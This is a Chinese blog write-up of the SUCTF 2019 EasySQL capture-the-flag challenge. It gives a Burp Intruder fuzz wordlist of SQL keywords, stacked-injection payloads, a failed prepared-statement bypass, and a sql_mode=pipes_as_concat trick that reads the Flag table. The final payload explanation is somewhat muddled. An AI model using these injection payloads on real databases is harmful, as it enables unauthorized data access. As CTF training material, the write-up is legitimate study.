[SUCTF 2019]EasySQL1

先用bp抓包fuzz一下看拉黑了哪些东西

ctrl+i把他放到intruder中

添加要注入的位置

设置payload

加载payload文件

这是我自用的,可能有什么不足(需要可以自取)

union select

Union sElect
union/**/select
union
select
ascii
substr
from
or
and1=1
and 1=1
updatexml
information_schema.schemata
information_schema.tables
information_schema.columns
handler
group_concat
sleep
length
()
=
#
--
%23
>
<
=
^
table_name
table_schema
column_name
information_schema.tables
information_schema.schemata
information_schema.columns
where
,
database()

综上判断尝试堆叠注入和预编译

堆叠注入

1;show tables#

出现Flag表

后续思路(想尝试select但是from被禁了不能实现)

预编译

1;sEt @sql = concat(%27se%27,%27lect * from Flag;%27);prEpare stmt from @sql;execute stmt#

似乎不行过滤了prepare,试了下大小写绕过也不行,看来正则匹配大小写

后续取参考大佬wp才明白

pipes_as_concat

补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

1;set sql_mode=pipes_as_concat;||flag from Flag

!!以下是我的理解

slect 1 后设置mysql的系统变量sql_mode=pipes_as_concat,最后因为设置了系统变量然后“||”将视为字符串连接符号而不是或非运算符,所以最后大概是这样的select 1(id) 和flag from Flag(来自Flag表的flag字段)

最后payload:1;set sql_mode=pipes_as_concat;select 1(因为本就在Flag表里select 1然后设置系统变量将后面的select 1插入前面的)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值